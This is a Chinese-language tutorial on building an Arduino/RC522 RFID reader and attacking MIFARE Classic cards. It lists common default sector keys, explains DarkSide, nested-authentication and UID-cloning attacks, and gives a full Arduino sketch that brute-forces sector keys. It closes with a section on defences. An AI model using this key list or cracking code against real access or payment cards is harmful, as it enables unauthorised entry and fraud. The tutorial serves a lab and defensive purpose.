1. 为什么要用Arduino
一提到,我们可能会想到ACR122、Proxmark3这些设备,还有Radiowar出售的专业级RFID设备,实际上我们完全可以自己使用arduino单片机和RC522这种RFID模组制作简易且足够使用的RFID读写器,并实现简单的攻防实验。为了实现这个目的,我们需要了解一些基本的RFID协议和射频收发器的基本参数知识
2. RC522芯片(读卡器)简介
MF RC522是应用于13.56MHz非接触式通信中高集成度的读写卡芯片,是NXP公司针对“三表”应用推出的一款低电压、低成本、体积小的非接触式读写 卡芯片,是智能仪表和便携式手持设备研发的较好选择。 MF RC522利用了先进的调制和解调概念,完全集成了在13.56MHz下所有类型的被动非接触式通信方式和协议。支持14443A兼容应答器信号。数字部 分处理ISO14443A帧和错误检测。此外,还支持快速CRYPTO1加密算法,用语验证MIFARE系列产品。MFRC522支持MIFARE系列更 高速的非接触式通信,双向数据传输速率高达424kbit/s。 作为13.56MHz高集成度读写卡系列芯片家族的新成员,MF RC522与MF RC500和MF RC530有不少相似之处,同时也具备许多特点和差异。它与主机间通信采用SPI模式,有利于减少连线,缩小PCB板体积,降低成本
MF522-AN模块采用Philips MFRC522原装芯片设计读卡电路,使用方便,成本低廉,适用于设备开发、读卡器开发等高级应用的用户、需要进行射频卡终端设计/生产的用户。本模块可 直接装入各种读卡器模具。模块采用电压为3.3V,通过SPI接口简单的几条线就可以直接与用户任何CPU主板相连接通信,可以保证模块稳定可靠的工作、 读卡距离远NXP RC522微控制器是该单片机的核心
AI 代码解读
0x1: 电气参数简介
工作电流: 13—26mA/直流3.3V
空闲电流: 10-13mA/直流3.3V
休眠电流: <80uA
峰值电流: <30mA
工作频率: 13.56MHz
支持的卡类型
1. mifare1 S50
2. mifare1 S70
3. mifare UltraLight
4. mifare Pro
5. mifare Desfire
产品物理特性: 尺寸: 40mm×60mm
环境工作温度: 摄氏-20~80度
环境储存温度: 摄氏-40~85度
环境相对湿度: 相对湿度5%~95%
0x2: 模块原理图

0x3: MFRC522 Register SET
1. 通过地址总线,选通某个外设设备,这个过程通过向地址寄存器写入外设的内存基址完成 2. 选通数据总线 3. 向外设的"指令缓冲寄存器"中写入指令代码 4. 向外设的"指令参数寄存器"中写入指令参数。在RC522上通过一个FIFO存储器实现 5. 外设以轮询或者中断触发方式读取指令寄存器中的指令码,以及传入的参数,跳转到对应的"处理例程"
AI 代码解读
RC522的寄存器列表如下
//Page 0:Command and Status Reserved00: Reserved for future use CommandReg: Starts and stops commands execution CommIEnReg: Controls bits to enable and disable the passing of interrupt Requests DivlEnReg: Controls bits to enable and disable the passing of interrupt Requests CommIrqReg: Contains interrupt Request bits DivIrqReg: Contains interrupt Request bits ErrorReg: Error bits showing the error status of the last command executed Status1Reg: Contains status bits for communication Status2Reg: Contains status bits of the receiver and transmitter FIFODataReg: in and output of 64 byte FIFO buffer FIFOLevelReg: indicates the number of bytes stored in the FIFO WaterLevelReg: Defines the level for FIFO under and overflow warning ControlReg: Contains miscellaneous Control Registers BitFramingReg: Adjustments for bit oriented frames CollReg: Bit position of the first bit collision detected on the RF-interface Reserved01: Reserved for future use //Page 1:Command Reserved10: Reserved for future use ModeReg: Defined general modes for transmitting and receiving TxModeReg: Defines the transmission data rate and framing RxModeReg: Defines the receive data rate and framing TxControlReg: Control the logical behavior of the antenna driver pins TX1 and TX2 TxAutoReg TxSelReg: Selects the internal sources for the antenna driver RxSelReg: Selects internal receiver setttings RxThresholdReg: Selects threadholds for the bit decoder DemodReg: Defines demodulator settings Reserved11: Reserved for future use Reserved12: Reserved for future use MifareReg Reserved13: Reserved for future use Reserved14: Reserved for future use SerialSpeedReg: Selects the speed of the serial UART interface //Page 2:CFG Reserved20: Reserved for future use CRCResultRegM: Shows the actual MSB values of the CRC calcalation CRCResultRegL: Shows the actual LSB values of the CRC calcalation Reserved21: Reserved for future use ModWidthReg: Controls the settting of the ModWidth Reserved22: Reserved for future use RFCfgReg: Configures the receiver gain GsNReg: Selects the conductance of the antenna driver pins TX1 and TX2 for modulation CWGsPReg ModGsPReg TModeReg: Defines settings for the internal timer TPrescalerReg TReloadRegH: Describes the 16 bit timer reload value TReloadRegL TCounterValueRegH: Shows the 16 bit actual timer value TCounterValueRegL //Page 3:TestRegister Reserved30: Reserved for future use #define TestSel1Reg 0x31 #define TestSel2Reg 0x32 #define TestPinEnReg 0x33 #define TestPinValueReg 0x34 #define TestBusReg 0x35 #define AutoTestReg 0x36 #define VersionReg 0x37 #define AnalogTestReg 0x38 #define TestDAC1Reg 0x39 #define TestDAC2Reg 0x3A #define TestADCReg 0x3B #define Reserved31 0x3C #define Reserved32 0x3D #define Reserved33 0x3E #define Reserved34 0x3F
AI 代码解读
0x4: MFRC522 Command Set
前面说过,arduino向MFRC522发送指令本质上就是arduino向MFRC522的指令寄存器写入2字节的指令,等待MFRC522读取并执行、响应//MF522 command bits #define PCD_IDLE 0x00 //NO action; cancel current commands #define PCD_AUTHENT 0x0E //verify password key #define PCD_RECEIVE 0x08 //receive data #define PCD_TRANSMIT 0x04 //send data #define PCD_TRANSCEIVE 0x0C //send and receive data #define PCD_RESETPHASE 0x0F //reset #define PCD_CALCCRC 0x03 //CRC check and caculation
AI 代码解读


Authentication 认证操作
1. MCM中设有专用的密码存储器(KEY-RAM),用于存储3个密码集KEYSET0,KEYSET1,KEYSET2,每一个KEYSET又包含了各个扇区的KEY A 及KEY B
2. Authentication操作就是将KEY-RAM中的密码与卡中对应的密码进行三次相互认证
3. Authentication操作的卡应答以AE位给出
1) AE=1: 密码出错,未能通过认证
2) AE=0: 密码正确,通过认证
READ/WRITE操作
Value Operate 值操作
2. RFID卡分类
0x1: 按物理特性分类
1. 按供电方式分为 1) 有源卡: 有源是指卡内有电池提供电源,其作用距离较远,但寿命有限、体积较大、成本高,且不适合在恶劣环境下工作 2) 无源卡: 无源卡内无电池,它利用"波束供电技术"将接收到的射频能量转化为直流电源为卡内电路供电,其作用距离相对有源卡短,但寿命长且对工作环境要求不高 2. 按载波频率分为 1) 低频射频卡: 低频射频卡主要有125kHz和134.2kHz两种,低频系统主要用于短距离、低成本的应用中,如多数的门禁控制、校园卡、动物监管、货物跟踪等 2) 中频射频卡: 中频射频卡频率主要为13.56MHz,中频系统用于门禁控制和需传送大量数据的应用系统 3) 高频射频卡: 高频射频卡主要为433MHz、915MHz、2.45GHz、5.8GHz等,高频系统应用于需要较长的读写距离和高读写速度的场合,其天线波束方向较窄且价格较高,在火车监控、高速公路收费等系统中应用。高频卡目前的频率主要是13.56MHz。有几种标准 3.1) ISO-14443-A: ISO-14443-A和ISO-14443-B的主要区别在于编码方式。ISO-14443-A是曼切斯特编码。Mifare卡和Desfare卡都是ISO-14443-A卡 3.2) ISO-14443-B: 而NRZ是不归零编码。身份证一般都是ISO-14443-B 3.3) ISO-15693 3.4) ISO-18000-3 3. 按调制方式的不同可分为 1) 主动式: 主动式射频卡用自身的射频能量主动地发送数据给读写器 2) 被动式: 被动式射频卡使用调制散射方式发射数据,它必须利用读写器的载波来调制自己的信号,该类技术适合用在门禁或交通应用中,因为读写器可以确保只激活一定范围之内的射频卡。在有障碍物的情况下,用调制散射方式,读写器的能量必须来去穿过障碍物两次。而主动方式的射频卡发射的信号仅穿过障碍物一次,因此主动方式工作的射频卡主要用于有障碍物的应用中,距离更远(可达30米) 4. 按作用距离可分为 1) 密耦合卡(作用距离小于1厘米) 2) 近耦合卡(作用距离小于15厘米) 3) 疏耦合卡(作用距离约1米) 4) 远距离卡(作用距离从1米到10米,甚至更远) 5. 按芯片分为 1) 只读卡: 卡内有一个全球唯一的ID号,安全性较高,最便宜 2) 读写卡: 允许向卡内写入和檫除信息,价格较高 3) 一次写入多次读出: 一次写入信息后不可更改,价格比可读可写卡便宜 3) CPU卡
AI 代码解读
0x2: 按协议分类
1. ISO14443 IS014443A/B,超短距离智慧卡标准。这标准订出读取距离7-15厘米的短距离非接触智慧卡的功能及运作标准,使用的频率为13.56MHz IS014443定义了TYPE A, TYPE B两种类型协议,通信速率为106kbit/s,它们的不同主要在于载波的调制深度及位的编码方式 1) TYPE A采用开关键控(On-Off keying)的Manchester编码 2) TYPE B采用NRZ-L的BPSK编码。TYPE B与TYPE A相比,具有传输能量不中断、速率更高、抗干扰能力强的优点 RFID的核心是防冲突技术,这也是和接触式IC卡的主要区别。IS014443-3规定了TYPEA和TYPE B的防冲突机制.二者防冲突机制的原理不同 1) TYPE A: 基于位冲突检测协议 2) TYPE B: TYPE B依靠通信系列命令序列完成防冲突。目前的第二代电子身份证采用的标准是IS014443 TYPE B协议 2. IS015693 IS015693(ISO SC17lWG8),短距离智慧卡标准,这标准订出读取距离可高达一米非接触智慧卡,使用的频率为13.56MHz,设计简单让生产读取器的成本比IS014443低,大都用来做进出控制、出勤考核等,现在很多企业使用的门禁卡大都使用这一类的标准。 IS015693采用轮寻机制、分时查询的方式完成防冲突机制。防冲突机制使得同时处于读写区内的多个标签的正确操作成为可能,既方便了操作,也提高了操作的速度 3. ISO 10536 ISO 10536标准主要发展于1992到1995年间,由于这种卡的成本高,与接触式IC卡相比优点很少,因此这种卡从未在市场上销售
AI 代码解读
3. 常见RFID卡产品
0x1: 钥匙扣
1. ID卡 1) ISO 14443/ISO 10536 2) 125KHz 3) 载波频率为125KHz(THR12) 4) 卡向读卡器传送数据的调制方式为加载调幅 5) 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12) 6) 卡号的唯一性和安全性 2. IC卡 1) ISO 14443/ISO 10536 2) 125KHz 3) FM1108芯片
AI 代码解读
0x2: 非接触式ID卡
1. ID白卡 2. 采用层压/自动黏贴/超声波封装 封装工艺 3. 表面18位ID卡号 4. 125KHz 5. 卡向读卡器传送数据的调制方式为加载调幅 6. 卡内数据编码采用抗干扰能力强的BPSK相移键控方式,卡向读卡器数据传送频率为3.9kbps(THRC12) 7. 卡号的唯一性和安全性
AI 代码解读

0x3: 接触式ID卡
0x4: 非接触式IC卡
1. 复旦M1(IC)白卡 2. 13.56MHZ 3. 采用层压/自动粘贴/超声波封装 封装工艺 4. 原装复旦FM1108芯片 5. PVC/PET/0.13铜线
AI 代码解读

滴胶卡

0x5: 接触式IC卡


4. Mifare Classic/M1/IC卡/智能卡

0x1: 前提条件
1. 知道目标RFID卡、目标扇区的密码 1) 暴力破解 2) 大多数卡使用默认密码 2. 目标RFID卡、包括整体认证计费系统采取离线或准离线方式,我们通过修改卡内数据能直接生效。否则如果目标RFID卡内只保存一个ID号(UID卡),所有的认证和计费都在SERVER端完成(类似于WEB中的SESSOIN认证机制一样),这种卡往往带有公私钥非对称加密机制,单纯修改ID号是无法生效的 3. 我们需要修改的目标扇区的读写控制位为可写 4. 保存UID卡的卡号的0扇区、0块密钥已知且可读
AI 代码解读
0x2: 卡硬件结构

1、块2为数据块,可用于存贮数据,数据块可作两种应用 2. 用作一般的数据保存,可以进行读、写操作 3. 用作数据值,可以进行初始化值、加值、减值、读值操作
AI 代码解读




也就是说,对任何一张M1卡,要想对它进行读写操作,需要KeyA、KeyB、存储控制位 这3者综合判断的结果,而且大多数情况下存储控制位所在区块是不允许写操作的,这就像一个保险柜的钥匙放在保险柜里并加锁了,只提供外面的一些仅有的界面 提供操作,无法直接拿到里面的钥匙1. 密码A: 不可读,验证KEYA或KEYB正确后,可写(更改) 2. 存取控制: 验证KEYA或KEYB正确后,可读、可写 3. 密码B: 验证KEYA或KEYB正确后,可读、可写
AI 代码解读
0x3: 三次握手密钥认证过程
RFID M1卡采用一种典型的认证双方预分配(协商)好一对相同的密钥,通过各自生成的随机种子,并使用该密钥加密并发送给对方,向对方证明自己是可信的0x4: MIFARE卡的读写操作步骤
1. 激活MCM 2. MCM软复位 3. 向MCM下载密码(LOAD KEY),校验传输密码正确后可向MCM的KEY-RAM写入用户自己设定的密码 //以上操作与卡无关 4. 请求应答(ANSWER TO REQUEST): 寻卡 5. 防冲突(ANTICOLLISION): 选择唯一一张卡 6. 选择标记(SELECT): 激活所选择的卡 7. 认证(AUTHENTICATION): 安全性 8. 读写操作(读、写、加值、减值): 交换数据(READ/WRITE/INCREAMENT/DECREMENT) 9. 停止(HALT): 置卡为停止模式,防止重复操作
AI 代码解读
0x5: 攻击面
1. 爆破卡密码 在 CRYPTO1 算法的细节没有被泄露之前,最有效的方法就是暴破了。还有一个很重要的原因就是,M1 卡是被动卡,需要读卡器为它提供能量,一旦读卡器切断了电源,卡中的临时数据就会丢失,这样就没有办法记录下攻击者究竟输错了多少次密码,卡永远不会因为密码输入错误太多而被锁定,只要攻击者有时间慢慢尝试,密码肯定会出来的 这里列举一些常见的 M1 卡密钥 FFFFFFFFFFFF A0A1A2A3A4A5 D3F7D3F7D3F7 A0B0C0D0E0F0 A1B1C1D1E1F1 B0B1B2B3B4B5 4D3A99C351DD 1A982C7E459A AABBCCDDEEFF B5FF67CBA951 714C5C886E97 587EE5F9350F A0478CC39091 533CB6C723F6 24020000DBFD 000012ED12ED 8FD0A4F256E9 EE9BD361B01B 2. 重放攻击(PRNG漏洞): DarkSide攻击(密钥流窃听) 重放攻击是基于 M1 卡的 PRNG 算法漏洞实现的,当卡接近读卡器获得能量的时候,就会开始生成随机数序列,但这有一个问题,因为卡是被动式卡,本身自己不带电源,所以断电后数据没办法保存,这时基于 LSRF 的 PRNG 算法缺陷就出来了,每次断电后再重新接入电,卡就会生成一摸一样的随机数序列,所以我们就有可能把这个序列计算出来,所以只要我们控制好时间,就能够知道在获得能量后的某一刻时间的随机数是多少,然后进行重放攻击,就有可能篡改正常的数据。如果卡的所有权在我们手上的时候,我们可以在较短的时间内实现破解 这种攻击方式类似于WPA WIFI密码破解,需要基于嗅探抓到握手包,然后通过算法本身可逆的特性得到密钥KEY 1) 以读卡器的挑战值做变量 这里说的读卡器实际上指的是用来模拟读卡器的攻击工具,下个攻击亦如此。这种攻击又可称选择密文攻击,想法用工具控制被攻击的卡每次在认证时产生同一挑战值,而读卡端则回应不同值。这种攻击需要大约28500次的认证过程,用时约15分钟,然后计算密钥,用时约一分钟 2) 卡的挑战值做变量 这种攻击与攻击1类似,但需要使自己的工具的挑战值为常数,而令卡的挑战值数不断变化。需要预制一个384 GB的状态表。要进行4096次认证。大约用时2分钟 3. 克隆卡片 这是一个很简单也很实用的方法,因为M1卡自带扇区可以保存数据,所以大部分的卡片会选择加密扇区后将数据保存在里面,所以我们完全可以克隆一张带有一样数据的克隆卡。这就会用到一种叫 UID 卡的特殊 M1 模拟卡,前面说到每张 M1 卡在 0 扇区第 1 段都会有一个全球唯一的 UID 编号,而且这个块在出厂之后是被厂商设定保护无法修改的,UID 卡就是没有设定 0 扇区保护的卡,所以你可以随意的修改你想要的 UID,这样我们就可以克隆出一张连 UID 都相同的卡片了 跟ID卡一样,复制IC卡的UID号码写入到新的空白IC卡中(这个时候IC卡被当作一张可编辑的ID使用) 4. 验证漏洞(嵌套认证攻击) 验证漏洞是目前使用最多的M1破解手段,在读卡器尝试去读取一个扇区时,卡会首先发一个随机数给读卡器,读卡器接到随机数之后利用自身的算法加密这个随机数再反馈回给卡,卡再用自己的算法计算一次,发现结果一致的话就认为读卡器是授权了的,然后就用开始自己的算法加密会话并跟读卡器进行传送数据。这时候问题就来了,当我们再次尝试去访问另一个扇区,卡片又会重复刚才那几个步骤,但此时卡跟读卡器之间的数据交换已经是被算法加密了的,而这个算法又是由扇区的密钥决定的,所以密钥就被泄露出来了。因此验证漏洞要求我们至少知道一个扇区的密钥,但目前大部分的扇区都没有全部加密,所以很容易就会被破解 5. 数据区段加密算法破解 这是在已知或破解出目标扇区的KeyA/KeyB密钥,且控制位至少包含可读/可写的前提下,读取出指定块区的dump文件后,通过多次"刷卡消费"得到多份不同的dump文件,通过后续的对比和分析逆向出卡本身业务算法逻辑的一种攻击方式
AI 代码解读
5. 实验过程及相关Arduino
0x1: 破解M1卡(钥匙扣)密码KeyA/KeyB
可以按照此方法破解出所有扇区的密码,值得注意的是,keyA、keyB的破解时间成本都是(2 ^ 8) ^ 6次,即最多要进行这么多次的"寻卡-选卡-auth认证"才能得到一个扇区的密码,而得到所有扇区还要再乘16#include <SPI.h> #include <RFID.h> #include <EEPROM.h> //4字节卡序列号,第5字节为校验字节 uchar serNum[5]; //扇区A密码,16个扇区,每个扇区密码6Byte uchar sectorKeyA[16][16] = { {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //1 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //2 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //3 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //4 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //5 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //6 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //7 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //8 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //9 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //10 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //11 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //12 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //13 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //14 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //15 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //16 }; uchar sectorNewKeyA[16][16] = { {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //1 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //2 {0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF}, //3 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //4 {0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07}, //5 {0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF}, //6 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //7 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //8 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //9 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //10 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //11 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //12 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //13 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //14 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, //15 {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //16 }; //D10 - 读卡器CS引脚、D5 - 读卡器RST引脚 RFID rfid(10,5); uchar status; uchar str[MAX_LEN]; //MAX_LEN为16,数组最大长度 void initSectorKeyEEPROM(){ EEPROM.write(1, 255); //keyIndex_1 EEPROM.write(2, 255); //keyIndex_2 EEPROM.write(3, 255); //keyIndex_3 EEPROM.write(4, 255); //keyIndex_4 EEPROM.write(5, 255); //keyIndex_5 EEPROM.write(6, 240); //keyIndex_6 } uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; int addSector(){ int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6; int havaCracked ; keyIndex_1 = EEPROM.read(1); keyIndex_2 = EEPROM.read(2); keyIndex_3 = EEPROM.read(3); keyIndex_4 = EEPROM.read(4); keyIndex_5 = EEPROM.read(5); keyIndex_6 = EEPROM.read(6); if(keyIndex_1 >= 255){ if(keyIndex_2 >= 255){ if(keyIndex_3 >= 255){ if(keyIndex_4 >= 255){ if(keyIndex_5 >= 255){ if(keyIndex_6 >= 255){ Serial.println("crack error!, key reach the limit"); havaCracked = 1; EEPROM.write(0, havaCracked); }else{ keyIndex_6++; } }else{ keyIndex_5++; } }else{ keyIndex_4++; } }else{ keyIndex_3++; } }else{ keyIndex_2++; } }else{ keyIndex_1++; } EEPROM.write(1, keyIndex_1); //keyIndex_1 EEPROM.write(2, keyIndex_2); //keyIndex_2 EEPROM.write(3, keyIndex_3); //keyIndex_3 EEPROM.write(4, keyIndex_4); //keyIndex_4 EEPROM.write(5, keyIndex_5); //keyIndex_5 EEPROM.write(6, keyIndex_6); //keyIndex_6 } void printSector(){ int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6; keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t'); keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t'); keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t'); keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t'); keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t'); keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t'); Serial.println(" "); } //破解卡指定扇区密码 void crackSector(int sectorNum){ unsigned char status; int havaCracked; int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6; //printSector(); keyIndex_1 = EEPROM.read(1); keyIndex_2 = EEPROM.read(2); keyIndex_3 = EEPROM.read(3); keyIndex_4 = EEPROM.read(4); keyIndex_5 = EEPROM.read(5); keyIndex_6 = EEPROM.read(6); uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6}; status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum); //认证 if (status == MI_OK) { Serial.println("crack success!"); Serial.print("sector "); Serial.print(sectorNum); Serial.print(" key: "); printSector(); havaCracked = 1; EEPROM.write(0, havaCracked); //return; }else{ addSector(); } } //读卡 void readSector(int blockNum, unsigned char *recvData){ unsigned char status; //选择操作的块地址0~63 uchar blockAddr; blockAddr = blockNum; status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum); //认证 if (status == MI_OK) { status = rfid.read(blockAddr, recvData); if (status == MI_OK) { //Serial.println("Read from the card ,the data is : "); for (int i=0; i<MAX_LEN; i++) { Serial.print(recvData[i]); Serial.print('\t'); } Serial.println(" "); } } else{ Serial.println("Auth error"); } //Serial.println(" "); } void setup() { int havaCracked = 0; int crackSectorIndex = 0; Serial.begin(9600); SPI.begin(); rfid.init(); //初始化 Serial.print("init "); EEPROM.write(0, havaCracked); //havaCracked EEPROM.write(10, crackSectorIndex); //havaCracked initSectorKeyEEPROM(); } void loop() { int havaCracked = 0; int crackSectorIndex = 0; uchar RC_size; //Search card, return card types if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) { //Serial.println("Find the card!"); // Show card type //ShowCardType(serNum); //防冲突检测,读取卡序列号 if (rfid.anticoll(serNum) == MI_OK) { //Serial.print("The card's number is : "); //显示卡序列号 for(int i = 0; i < 4; i++){ //Serial.print(0x0F & (serNum[i] >> 4),HEX); //Serial.print(0x0F & serNum[i],HEX); } //Serial.println(""); } //选卡(锁定卡片,防止多数读取,去掉本行将连续读卡),并返回卡容量 RC_size = rfid.selectTag(serNum); if (RC_size != 0) { //Serial.print("Lock Card ok! Size: "); //Serial.println(RC_size); } havaCracked = EEPROM.read(0); //Serial.print("havaCracked: "); Serial.println(havaCracked); //Serial.print("EEPROM.read(10): "); Serial.println(EEPROM.read(10)); if(havaCracked == 1 && EEPROM.read(10) <= 15){ crackSectorIndex = EEPROM.read(10); crackSectorIndex++; EEPROM.write(10, crackSectorIndex); EEPROM.write(0, 0); initSectorKeyEEPROM(); } else if(havaCracked == 0){ //Serial.println("starting crack the card: ..."); crackSectorIndex = EEPROM.read(10); crackSector(crackSectorIndex); } // }else{ memset(serNum,0,sizeof(uchar) * 5); } //rfid.halt(); //命令卡片进入休眠状态 //清空状态 memset(serNum,0,sizeof(uchar) * 5); memset(str,0,sizeof(uchar) * MAX_LEN); status = '\x00'; } void ShowCardType(unsigned char * type) { Serial.print("Card type: "); if(type[0]==0x04&&type[1]==0x00) Serial.println("MFOne-S50"); else if(type[0]==0x02&&type[1]==0x00) Serial.println("MFOne-S70"); else if(type[0]==0x44&&type[1]==0x00) Serial.println("MF-UltraLight"); else if(type[0]==0x08&&type[1]==0x00) Serial.println("MF-Pro"); else if(type[0]==0x44&&type[1]==0x03) Serial.println("MF Desire"); else Serial.println("Unknown"); }
AI 代码解读
0x2: 读取并保存整张卡的binary dump
0x3: 向指定扇区/区块写入数据


0x4: 复制小区门卡
6. 攻防讨论
0x1: 密钥B攻击的应用层防御
1. 应用时改变密钥的初始值 密钥的初始值指卡片出厂时被赋予的设置,一般都是"FFFFFFFFFFFF",在一个新系统(例如公交系统)应用期。密钥A和B都应该重新设置。特别是当系统指定使用密钥A的时候,不要忘记要把B也换掉。否则它就是一个后门 这种防御手段对"算法逆向后篡改"、"dump复制全卡"这2种攻击都能起到一定作用,毕竟逐个扇区密码爆破相当消耗时间 2. 后台建账,定期核对 为每张卡建立账户,记录每次(天)充值、消费和余额信息。并尽量每天对账,找出可疑账户记录 这种防御手段对IC卡复制攻击有一定的作用,但是对ID卡复制攻击仍然无法防御 3. 应用层数据保护 终端对存储在数据块中的应用数据(电子钱包余额等)使用较强的算法进行加密后再写入,或对关键数据进行mac计算后将MAC码与数据一并保存在数据块,读入时进行验证(但此方法只能解决随意改写的攻击)
AI 代码解读
0x2: 密钥B攻击的应用层防御
0x3: 密钥B攻击的芯片层防御
0x4: 密钥管理
0x5: 防止可修改UID的M1卡(复制卡)的方法
1. 判断Select命令的返回SAK,M1卡的返回值应该是08。如果第一个字节为28,则有可能是CPU卡模拟的M1卡 2. 在选卡后修改第0块会先发送两个特殊指令,要防卡该类卡就是看这两个指令有没有返回值 //这种检测思想有点类似恶意软件检测中Sandbox的主动行为探测 3. M1卡的KeyA、KeyB早已经被破解了,所以卡内的重要数据必须要和UID一起加密才能保证一定的安全性
AI 代码解读